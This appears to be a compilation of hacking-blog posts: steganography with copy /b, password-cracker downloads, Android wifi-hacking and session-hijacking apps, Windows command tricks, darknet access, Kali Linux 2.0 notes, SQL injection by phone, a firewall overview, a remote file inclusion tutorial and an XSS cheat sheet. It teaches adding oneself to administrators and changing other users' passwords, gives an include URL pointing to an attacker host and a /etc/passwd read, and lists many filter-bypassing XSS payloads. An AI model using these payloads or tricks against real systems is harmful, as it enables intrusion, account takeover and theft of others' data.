Steganography: Hacking By Hiding data behind Image 

I wonder if you have ever faced situation when you need some important files of yours to be known only to you without ever having any sign that you are hiding something. You may have faced a creepy situation when you are hiding your personal diary in your computer and just everybody in your house wants to see it or you want to send your friends a hidden message. If you have ever faced such a situation, then let me tell you about Steganography.
Big Name, isn’t it? But actually it is much simple.  Steganography is the practice of concealing a file, message, image, or video within another file, message, image, or video.
You may wonder why to use Steganography if you have various Encryption Technology that may better handle your privacy. Answer is simple, Plainly visible encrypted messages—no matter how unbreakable—arouse interest, and may in themselves be incriminating in countries where encryption is illegal. Thus, whereas cryptography is the practice of protecting the contents of a message alone, Steganography is concerned with concealing the fact that a secret message is being sent, as well as concealing the contents of the message.

In this article,we will discuss the steps to Hide data behind Image. Follow the steps carefully and you can easily hide any data you want.

How to Hide data behind Image:

In this post I would tell you about a simple Steganography which all of you can do with simple command.exe in your windows . All you need is WinRar, little knowledge of command prompt and a picture file. (You may take a selfie for this).

Don’t worry if  you do not know about command prompt, I would be guiding you:
Step 1. Gather all the files that you wish to hide in a folder anywhere in you PC.
FOR EXAMPLE: I am hiding two files in C:\New Folder

 

Step 2: Now, add those files in a RAR archive(e.g. secret.rar) using the WinRar software. This file should be in the same directory (C:\New Folder).
Step 3: Now copy that picture file in C:\New Folder.

Step 4: Now open Command Prompt. (Go to Run and type cmd).
Navigate to C:/New Folder using “cd” command.
Now type:
COPY /b Selfie.jpg+secret.rar output.jpg
(output.jpg would be containing hidden data).
Voila, your files are hidden.

Step 5: Delete all files except output.jpg.
If you would try to open output.jpg it would be a simple picture file. But if you would open output.jpg with WinRar Software… You would see your beloved files well hidden behind image file.
Now you can give your selfie to your Crush with a love letter hidden behind it…

 

 

read more

Download Ophcrack Password, THC Hydra Password ,Brutus Password Cracker for Free

Download Ophcrack Password, THC Hydra Password ,Brutus Password Cracker for Free

 

 

Download Ophcrack Password

Ophcrack is a free windows based password cracker. This cracker is based on Rainbow tables and can crack LM and NTLM hashes.

 This tool is compatible with Windows, MAC and Linux systems and requires minimum hardware requirements. To Download Ophcrack Password Cracker, just click the download button given below.

 

 

 

Download Ophcrack 

 

 

Download THC Hydra Password

THC Hydra performs brute force attack from remote login. It can perform dictionary attacks against protocols such as including telnet, ftp, http, https, smb, several databases, and much more.

 

This tool is compatible with Windows and Linux systems and requires minimum hardware requirements. To Download THC Hydra Password Cracker, just click the download button given below.

Download THC Hydra

 

 

Download Brutus Password Cracker for Free

Brutus is one of the most popular and one of the fastest remote online password cracking tools. . This tool is free to use and is only available for Windows operating systems. This tool supports HTTP (Basic Authentication), HTTP (HTML Form/CGI), POP3, FTP, SMB, Telnet and other types such as IMAP, NNTP, NetBus, etc.

 

This tool is compatible with Windows and requires minimum hardware requirements. To Download Brutus Password Cracker, just click the download button given below.

 

 

Download Brutus

read more

Wifi hacker app and Security apps for Android

10 Real wifi hacker app for android

 

 

 1. dSploit Wifi hacker app:

dSploit is a nice Android network penetration testing suit. It comes with all-in-one network analysis capabilities. Like most of t

he other p

enetration testing tools, it also comes for free. So, you can download and use this app on your Android device and perform network security testing. It has various pre-compiled modules to use. The app is designed to be very fast, handy and easy to use, it’s just point and click.

dSploit supports all Android devices running on Android 2.3 Gingerbread or higher, and you also need to root your device. If you are newbie, we will never recommend you to use the app if you don’t know how to root your Android device. After rooting your device, you need to install BusyBox Installer before operating dsploit. Download BusyBox from Google Play Store:https://play.google.com/store/apps/details?id=com.jrummy.busybox.installer&hl=en

Then download the app from the link given below.

dsploitApp is available on the external mirror from github: https://github.com/evilsocket/dsploit/downloads

Download dsploit from googleplay here

These are the available modules in the app.

1. RouterPWN
2. Trace
3. Port Scanner
4. Inspector
5. Vulnerability Finder
6. Login Cracker
7. Packet Forger
8. MITM

2. Network Spoofer:

Network Spoofer is another nice WiFi hacker app that lets you change the website on other people’s computer from your Android phone. Download the Network Spoofer app and then log onto the Wi-Fi network. Choose a spoof to use with the app, then tap on start. This app is considered as a malicious hacking tool by network administrators. So, don’t try on unauthorized networks. This is not a penetration testing app. It’s just to demonstrate how vulnerable the home network is.

Download this app from sourceforge http://sourceforge.net/projects/netspoof/

3. Shark for Root:

Shark for Root is a nice traffic sniffer app for the Android device. It works fine on 3G and Wi-Fi: both network connectivity options. You can see the dump on the phone by using Shark Reader that comes with the app. You can also use Wireshark, a similar Wifi hacker app to open the dump on the system. So, start sniffing data on your Android device and see what others are doing.

4. Penetrate Pro:

Penetrate Pro is a nice Wifi hacker app used for Wi-Fi decoding. The latest version of the app has added many nice features. It can calculate the WEP/WAP keys for some wireless routers. If you have installed an Antivirus app, it may detect Penetrate Pro app as a virus. But this app is a security tool and it will not affect or harm your device.
Penetrate gives you the wireless keys of Discus, Thomson, Infinitum, BBox, Orange, DMax, SpeedTouch, DLink, BigPond, O2Wireless and Eircom routers.

5. DroidSheep [Root]:

DroidSheep is a session hijacking tool for Android devices. This is an app for security analysis in wireless networks. It can capture Facebook, Twitter, and LinkedIn, Gmail or other website accounts easily. You can hijack any active web account on your network with just a tap by using the DroidSheep app. It can hijack any web account.
This app demonstrates the harm of using any public Wi-Fi.
Download this app from here: http://droidsheep.de/?page_id=23

 

 

6. DroidSheep Guard:

 

 

DroidSheep Guard is another Android app that also developed Droidsheep. This app does not require a rooted device. This app monitors Android devices’ ARP-table and tries to detect ARP-Spoofing attack on the network performed by DroidSheep, FaceNiff and other software.
Download DroidSheep Guard from external link: 
https://downloads.tomsguide.com/DroidSheep-Guard,0301-53750.html

 

 

7. Nessus:

 

 

Nessus is a popular penetration testing tool that is used to perform vulnerability scans with its client/server architecture. It also released its mobile app to bring its power on mobile devices. Nessus Android app can perform following tasks.

• Connect to a Nessus server (4.2 or greater)
• Launch existing scans on the server
• Start, stop or pause running scans
• Create and execute new scans and scan templates
• View and filter reports

This app was released on Google Play store almost 2 years back by Tenable Network Security. Later Google removed the app from Play store. Now the official link has been removed. So you can try downloading links available on third party websites. But be careful and check the app first.

 

 

8. FaceNiff:

FaceNiff is another nice sniffing app and WiFi hacker app for Android devices. It requires a rooted Android device. It can sniff and intercept the web sessions over the Wi-Fi. This app is similar to DroidSheep, added earlier in the post. You can also say that it is similar to Firesheep for Android devices. Use of this app may be illegal in your area. So, use it wisely.

 

 

 

9. WebSecurify:

 

 

WebSecurify is a powerful web vulnerability scanner. It’s available for all popular desktops and mobile platforms. It has a powerful crawler to crawl websites and then attack it using pre-defined patterns. We have already covered it in detail in our previous article. You can read the older article for better understanding.

Download it here: https://code.google.com/p/websecurify/

10. Network Mapper:

Network Mapper is a fast scanner for network admins. It can easily scan your network and export the report as CVS to your Gmail. It lists all devices in your LAN along with details. Generally, the app is used to find Open ports of various servers like FTP servers, SSH servers, SMB servers etc. on your network. The tool works really fast and gives effective results.

Download Network Mapper for Google Play Store: https://play.google.com/store/apps/details?id=org.prowl.networkmapper&hl=en

We hope you liked our article of the 10 best Wifi hacker app and Security apps.

read more

Command Prompt Tricks 

We have previously written about CMD tricks. Today we will go further and discuss about hacking windows system using its command prompt tricks. CMD is a very powerful tool, and can be dangerous if you know its proper use. 

Easy Command Prompt Tricks

Step 1: Open CMD

 

 

 

 

 

 

 

 

 

 

 

 

 

There are two options here:

 

1. If you have access to the run feature (in the start menu or press windows button-r), you should be able to access the command prompt by typing CMD into the dialogue box (pictured below). You are lucky and you can skip the next step.
2. If you are unlucky, and you cannot find the run feature in the start menu, you’re account is probably not blessed with administrative privileges. But we can fix that…
Open notepad (which is in the start menu under accessories)
Then type in “Command.com” (without the quotation marks). After that, type on a new line (by pressing the enter key once) “pause” (once again without the quotation marks).
Got that?

For Windows 7 users, just type cmd on the search box.
Now for the tricky part. Click the save button under the file drop-down tab in the top left-hand corner of the window. a menu should come up that allows you to browse files.Name the file as follows:
CMD.Bat.
(The .bat means that it is a batch file .Batch files are the language of command prompt.)
Save the file in a convenient and easy to access place (I used my desktop)You should now have a fully functional shortcut to access the Command Prompt Interface. If this doesn’t work, leave me a comment or message and i’l get back to you as soon as possible.

Step 2: Making a New Account

Now, once you have notepad up and running, you can start hacking!!!First we’ll start by making a new account. Open notepad and type
“net user ______ <-(new username) _______<-(new username)/add”
(once again, WITHOUT the quotation marks)Logout or switch user on you’re computer so the welcome screen comes up. The new user’s profile icon should nowbe present, along with the password and default avatar picture.

You now have a clean, un-screwed-up profile to play with.

Step 3: Giving yourself ADMIN Privileges

this step is the easiest really, and it can grant you the ability to run whatever programs you want and install whatever you want on your computer, the way it should be.so, open command prompt and type:”net localgroup administrator _______<-(you’re account’s name) /add”
(DONT type this with the quotation marks).

It should run through some crap then say command complete!.
After that, log back into your account and enjoy administrative privileges!

Step 4: To change someone else’s password

To change someone else’s password, simply type this in:

“net user _____<-(username) *)”
(DO NOT  add the quotation marks)
Type the new password in, and type it in again to confirm it and you’re set!

We hope that you have performed almost every Command Prompt tricks using this article. If you are still facing any problems then feel free to comment below.

 

read more

Get Access to Darknet :The Hidden Anonymous Internet

How to Access Darknet, the hidden Internet?


Maybe you are aware of the mysterious hidden internet called the ‘DarkNet’ or ‘Deep Web’ that you can’t access from Google and which lies beyond the reach of  most of  the people like us. Perhaps you have heard of some Hacker selling credit card information, Online Data leaked of  big companies(Ashley Madison,Sony,etc) and variety of these information. Maybe you live in a country where you are not allowed to speak freely… If you don’t know, then we will tell you what it is and ‘

What is Dark Net?

First you would need to know about Deep Web. Deep web is 99% of the internet that is not accessible using Google.  Deep Web includes large libraries, large databases and members’ only websites that are not available to the general public. If  you have a library network in your College campus or database network in your company that only you can get access to, it is DarkWeb.
Darknet is an overlay network that can only be accessed using specific software,configurations,or authorization.  It is part of the Deep Web, because its contents are not accessible through search engines. But it is something more, it is anonymous. It hosts anonymous websites. Yeah, you wouldn’t know who the owner is unless he explicitly reveal his information. It offers full anonymity to users too.  Darknet anonymity is usually achieved using an ‘onion network’.  I am sure you have cut an onion once in your lifetime and you had been crazy about the number of layers it has, same happens when you use an onion network. There are numbers of  encryption layers that hide your true identity.

 

 

Uses of Darknet:

Ok, so you have grasped what Darknet is, Now you may ask me why should you use it. Well the reason could be any of them:

• To better protect the privacy right of citizens from targeted and mass surveillance.

• Hacking and computer crime
• Sale of Resticted goods
• File sharing.
• Chat with dangerous hackers

How to Access DarkNet?

Well the most popular way to access Darknet is by using TOR browser. Technically, it stands for ‘The Onion Router’ and it is as simple as installing a new browser.

After that you would need a URL or directory that contains URLs to different websites or class of websites so that you know what to type in into the browser’s address bar.
You can easily get URLs in Onion Directory of  Darknet at http://am4wuhz3zifexz5u.onion/ or just google for DarknetSites.
Make sure you use TOR browser.
Just like you have Google,Yahoo,etc for our widely known Internet, Darknet also has a Search Engine. Some are Torch, Duck Duck Go,etc..
If you want to access Darknet from your pretty phone, you  can use ORBOT(Free).
I think you wanna explore Darknet yourself, So i would leave you here. Just a piece of advice, it is used for all things legal or illegal. So just make sure you verify the links you click.

NOTE: Access Darknet with your own risk. Darknet is filled with legal as well as illegal contents. Hence make sure that you don’t click or access any illegal content. If you are facing any problems, then comment below.

read more

Kali Linux v2.0 All Edition ISO

Kali Linux v2.0 All Edition ISO are Here !

Our Next Generation Penetration Testing Platform
We’re still buzzing and recovering from the Black Hat and DEF CON conferences where we finished presenting our new Kali Linux Dojo, which was a blast. With the help of a few good people, the Dojo rooms were set up ready for the masses – where many generated their very own Kali 2.0 ISOs for the first time. But the excitement doesn’t end for us just yet. With the end of the cons, we now find ourselves smack in the middle of the most significant release of Kali since 2013. Today is the day that Kali 2.0 is officially released.
So, what’s new in Kali 2.0? There’s a new 4.0 kernel, now based on Debian Jessie, improved hardware and wireless driver coverage, support for a variety of Desktop Environments (gnome, kde, xfce, mate, e17, lxde, i3wm), updated desktop environment and tools – and the list goes on. But these bulletpoint items are essentially a side effect of the real changes that have taken place in our development backend. Ready to hear the real news?  Take a deep breath, it’s a long list.
Kali Linux is Now a Rolling Distribution
One of the biggest moves we’ve taken to keep Kali 2.0 up-to-date in a global, continuous manner, is transforming Kali into a rolling distribution. What this means is that we are pulling our packages continuously from Debian Testing (after making sure that all packages are installable) – essentially upgrading the Kali core system, while allowing us to take advantage of newer Debian packages as they roll out. This move is where our choice in Debian as a base system really pays off – we get to enjoy the stability of Debian, while still remaining on the cutting edge.
Continuously Updated Tools, Enhanced Workflow
Another interesting development in our infrastructure has been the integration of an upstream version checking system, which alerts us when new upstream versions of tools are released (usually via git tagging). This script runs daily on a select list of common tools and keeps us alerted if a new tool requires updating. With this new system in place, core tool updates will happen more frequently. With the introduction of this new monitoring system, we  will slowly start phasing out the “tool upgrades” option in our bug tracker.
New Flavours of Kali Linux 2.0

Through our Live Build process, Kali 2.0 now natively supports KDE, GNOME3, Xfce, MATE, e17, lxde and i3wm. We’ve moved on to GNOME 3 in this release, marking the end of a long abstinence period. We’ve finally embraced GNOME 3 and with a few custom changes, it’s grown to be our favourite desktop environment. We’ve added custom support for multi-level menus, true terminal transparency, as well as a handful of useful gnome shell extensions. This however has come at a price – the minimum RAM requirements for a full GNOME 3 session has increased to 768 MB. This is a non-issue on modern hardware but can be detrimental on lower-end machines. For this reason, we have also released an official, minimal Kali 2.0 ISO. This “light” flavour of Kali includes a handful of useful tools together with the lightweight Xfce desktop environment – a perfect solution for resource-constrained computers.
Kali Linux 2.0 ARM Images & NetHunter 2.0
The whole ARM image section has been updated across the board with Kali 2.0 – including Raspberry Pi, Chromebooks, Odroids… The whole lot! In the process, we’ve added some new images – such as the latest Chromebook Flip – the little beauty here on the right. Go ahead, click on the image, take a closer look. Another helpful change we’ve implemented in our ARM images is including kernel sources, for easier compilation of new drivers.
We haven’t forgotten about NetHunter, our favourite mobile penetration testing platform – which also got an update and now includes Kali 2.0. With this, we’ve released a whole barrage of new NetHunter images for Nexus 5, 6, 7, 9, and 10. The OnePlus One NetHunter image has also been updated to Kali 2.0 and now has a much awaited image for CM12 as well – check the Offensive Security NetHunter page for more information.
Updated VMware and VirtualBox Images

Offensive Security, the information security training and penetration testing company behind Kali Linux, has put up new VMware and VirtualBox Kali 2.0 images for those who want to try Kali in a virtual environment. These include 32 and 64 bit flavours of the GNOME 3 full Kali environment.
If you want to build your own virtual environment, you can consult our documentation site on how to install the various virtual guest tools for a smoother experience.

TL;DR. Where’s My Kali 2.0 Download?
The tl;dr of this release is best explained by comparison: If Kali 1.0 was focused on building a solid infrastructure then Kali 2.0 is focused on overhauling the user experience and maintaining updated packages and tool repositories. Along with the arrival of 2.0 comes a whole lot of interesting updates… You can head down to our Kali Linux 2.0 Download page to get the goodness for yourself.

Still TL; Still DR. How Do I Upgrade to Kali 2.0?
Yes, you can upgrade Kali 1.x to Kali 2.0! To do this, you will need to edit your source.list entries, and run a dist-upgrade as shown below. If you have been using incorrect or extraneous Kali repositories or otherwise manually installed or overwritten Kali packages outside of apt, your upgrade to Kali 2.0 may fail. This includes scripts like lazykali.sh, PTF, manual git clones in incorrect directories, etc. – All of these will clobber existing files on the filesystem and result in a failed upgrade. If this is the case for you, you’re better off reinstalling your OS from scratch.
Otherwise, feel free to:
cat << EOF > /etc/apt/sources.list
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security/ sana/updates main contrib non-free
EOFapt-get update
apt-get dist-upgrade # get a coffee, or 10.
reboot

Metasploit Community / Pro no longer ships in Kali
At the request of Rapid7, we have removed the Metasploit Community / Pro package from Kali Linux and now host the open-source metasploit-framework package only. For all of you who require Community or Pro, you will now need to download it from Rapid7 and then register and submit your personal details in order to get a license. In addition, the Rapid7 team no longer maintains the Metasploit package in Kali, which has brought with it some substantial changes – we’ve moved to a “native” setup, where rather than bundling all the required software needed to run Metasploit in one big package, we use native dependencies within Kali to support the metasploit-framework package. This results in a faster, smoother work experience and easier integration with Metasploit dependencies. For more information about this, check out our Metasploit Framework in Kali documentation page.
Starting up Metasploit Framework in Kali Linux 2.0
Due to the above-mentioned changes in the metasploit-framework package, there are some minor changes in how Metasploit is started in Kali – specifically, there is no longer a metasploit service. This is how you start up the Metasploit Framework with database support in Kali Linux 2.0:

1. Start the Postgresql Database

/etc/init.d/postgresql start# Initialize the Metasploit Framework Database
msfdb init# Run msfconsole
msfconsole


Your Kali 2.0 FU Just Got an Upgrade


Kali Linux 2.0 is a serious step forward for us, as we continuously improve the distribution. We hope you enjoy the new look, features, tools, and workflow. As usual, you are invited to join our community via forums, bug tracker, Twitter, Facebook, and of course, IRC. Lastly, if you haven’t seen our Kali 2.0 Teaser video, here it is!

 Download Link

Image Name	Direct	Torrent	Size	Version	SHA1Sum
Kali Linux 64 bit	ISO	Torrent	3.1G	2.0	aaeb89a78f155377282f81a785aa1b38ee5f8ba0
Kali Linux 32 bit	ISO	Torrent	3.2G	2.0	6e5e6390b9d2f6a54bc980f50d6312d9c77bf30b
Kali Linux 64 bit Light	ISO	Torrent	0.8G	2.0	fc54f0b4b48ded247e5549d9dd9ee5f1465f24ab
Kali Linux 32 bit Light	ISO	Torrent	0.9G	2.0	bd9f8ee52e4d31fc2de0a77ddc239ea2ac813572
Kali Linux 64 bit mini	ISO	N/A	28M	2.0	5639928a1473b144d16d7ca3b9c71791925da23c
Kali Linux 32 bit mini	ISO	N/A	28M	2.0	4813ea0776612d4cc604dfe1eaf966aa381968ae
Kali Linux armel	Image	Torrent	2.1G	2.0	99a2b22bc866538756b824d3917d8ed62883ab12
Kali Linux armhf	Image	Torrent	2.0G	2.0	f57335aa7fb2f69db0271d82b82ede578cb1889e

read more

How to Hack Websites Using Android Mobile Phones 

 

Hello everyone, today I will be teaching you how to hack a website using your android phones. Surprised and you might be thinking how's it possible to hack using your android mobile phone. Mostly 70% of the websites which are defaced by the hackers are done using the most common vulnerability i.e. SQL Injection.

We will be using an application called DroidSQLi to hack SQL injection vulnerable websites with our phone. So all we need are 3 things.
1.) DroidSQLi application installed on our android phone
2.) SQLi vulnerable website
3.) and obviously an android phone.

Let's get started, 

first of all download DroidSQLi Tool. It is an first automated SQL Injection exploitation tool for mobile phones. It supports the following type of injections.

Union Based Injection
Blind Injectin
Error Based Injection
Time Based Injection

All you need to do is enter the vulnerable website under Target URL and press on inject button. It will automatically select the best possible injection.

read more

Introduction to Web Application Firewall (WAF) ~ Website Security

  

What is WAF?
WAF is expanded as Web Application Firewall. WAF is server side application that controls the input and output(filter the HTTP communication).  It controls network traffic on any OSI Layer up to Application Layer.  The main purpose of WAF is to provide better protection over the top Wep Application vulnerability such as XSS(Cross Site Scripting), SQL Injection,RFI.  Daily lot of websites hacked because of these vulnerability.



The Most common Web Application Vulnerabilities:

• SQL Injection(SQLi)
• Cross-Site Scripting (XSS)
• Broken Authentication and Session Management
• Insecure Direct Object References
• Cross-Site Request Forgery (CSRF)
• Security Misconfiguration
• Insecure Cryptographic Storage
• Failure to Restrict URL Access
• Insufficient Transport Layer Protection
• Unvalidated Redirects and Forwards

The Wep Application Firewall(WAF) must meat the following features:

• Protection Against Top Vulnerability(XSS,SQLi,..etc)
• Very Few False Positives (i.e., should NEVER disallow an authorized request)
• Strength of Default (Out of the Box) Defenses
• Power and Ease of Learn Mode
• Types of Vulnerabilities it can prevent.
• Detects disclosure and unauthorized content in outbound reply messages, such as credit-card and Social Security numbers.
• Both Positive and Negative Security model support.
• Simplified and Intuitive User Interface.
• Cluster mode support.
• High Performance (milliseconds latency).
• Complete Alerting, Forensics, Reporting capabilities.
• Web ServicesXML support.
• Brute Force protection.
• Ability to Active (block and log), Passive (log only) and bypass the web trafic.
• Ability to keep individual users constrained to exactly what they have seen in the current session
• Ability to be configured to prevent ANY specific problem (i.e., Emergency Patches)
• Form Factor: Software vs. Hardware (Hardware generally preferred)

 

 

Top 10 Open Source Web Application Firefwall(WAF):

1. ModSecurity (Trustwave SpiderLabs)
2. AQTRONIX WebKnight
3. ESAPI WAF
4. WebCastellum
5. BinarySec
6. Guardian@JUMPERZ.NET
7. OpenWAF
8. Ironbee
9. Profense
10. Smoothwall

read more

Remote File Inclusion Vulnerability Tutorial~Web application Vulnerability

This is old tutorial but worth to read it. i write this article before 6 months but forget to post. So here i am posting it. Remote file inclusion is one of web application vulnerability . Using this vulnerabilitiy an attacker can include their remote file such as Shell. This results in website defacement.

Shell is a GUI(Graphical User Interface) file that is used to browse remote files , using this shell you can run your own code on the victim web server.

By running malicious codes on the web server , an attacker take control of the Whole Server.
Using the vulnerability of the web application , an attacker can do:

•  Execute malicious codes
•  Denial of service
• Execute Cross Site Scripting (XSS)
•  

When web application is vulnerable to File Inclusion?

The web application becomes vulnerable because of unvalidated external variables (such as $_POST,$_GET,$_COOKIE). The main vulnerability occurs because of “include” function. This “include( )” function get the another page and include as content in current page. If allow_url_fopen function is enabled in web application, an attacker can include the files remotely.
Let us look into some examples, Consider this PHP code.

<?php
$incfile=$_REQUEST[‘NewsFile’];
include($incfile. ‘php’);
?>

In this code, the second line “$incfile=$_REQUEST[‘News’] ” gets input from HTTP Request (I mean the valued passed in URL ). The second line inlcudes the “NewsFile ” dynamically.
For instance, consider this url:

http://vulnerablesite.com/index.php?NewsFile=news1

Here the news1 is passed to NewsFile variable. The above php code get the value of Newsfile variable using the $_REQUEST. $include function will include news1.php file in index page.
Here you have note one thing, the developer doesn’t validate the the HTTP Request input. It causes to vulnerable. An attacker can change the value and launch the Remote file inclusion attack.

How an attacker use this vulnerability?

An attacker can use this vulnerability to inlcude his malicious files. For instance, he can change the value of Variable NewsFile in the url like this:

http://vulnerablesite.com/index.php?NewsFile=http://attackersite/malicous_code

now the vlaue of NewsFile= http://attackersite/malicous_code. So the include function will become like this:
include(‘http://attackersite/malicous_code.php’);
This leads to include the attacker malicious codes in the victim site. Now the attacker can include any malicious codes and execute in the web server. Attacker will upload the shell code and gain the access to the remote files of the website.

Null Meta Character():

An attacker can upload the text files also. But how, It ends with .php in include function ? Using null meta chracter, attacker can eliminate the .php extension. For example by including the NewsFile value as: http://attackersite/malicous_code.txt. Here will eliminate the .php code. So now he can upload any type of files also.
By giving NewsFile vaule as =/etc/password, Attacker can read the contents of password file on UNIX system directory traversal.

Prevention over the RFI

• Disable the register_globals and allow_url_fopen and allow_url_include in PHP.ini file.
•  Validate the Use Input.

read more

Complete Cross site Scripting(XSS) cheat sheets

We are producing this XSS Cheat sheet after collecting the codes from hackers’ techniques and different sites especially http://ha.ckers.org/xss.html .  This is complete list of XSS cheat codes which will help you to test xss vulnerabilities ,useful for bypassing the filters.  If you have any different cheat codes , please send your code.

Basic XSS codes:
———————————-

<script>alert(“XSS”)</script>

<script>alert(“XSS”);</script>

<script>alert(‘XSS’)</script>

“><script>alert(“XSS”)</script>

<script>alert(/XSS”)</script>

<script>alert(/XSS/)</script>

When inside Script tag:
———————————

</script><script>alert(1)</script>
‘; alert(1);
‘)alert(1);//

Bypassing with toggle case:
————————————–

 <ScRiPt>alert(1)</sCriPt>
  <IMG SRC=jAVasCrIPt:alert(‘XSS’)>

XSS in Image and HTML tags:
———————————————

<IMG SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
 <IMG SRC=javascript:alert(‘XSS’)>      

<img src=xss onerror=alert(1)>
<IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=”jav ascript:alert(‘XSS’);”>

<IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”>

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

<BODY BACKGROUND=”javascript:alert(‘XSS’)”>

<BODY ONLOAD=alert(‘XSS’)>
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=”javascript:alert(‘XSS’)”

<iframe src=http://ha.ckers.org/scriptlet.html <

Bypass the script tag filtering:
————————————————–

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

%253cscript%253ealert(1)%253c/script%253e

“><s”%2b”cript>alert(document.cookie)</script>

foo<script>alert(1)</script>

<scr<script>ipt>alert(1)</scr</script>ipt>

Using String.fromCharCode function:
—————————————————–

<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>

‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

You can combine the above mentioned codes and make your own cheat code.

read more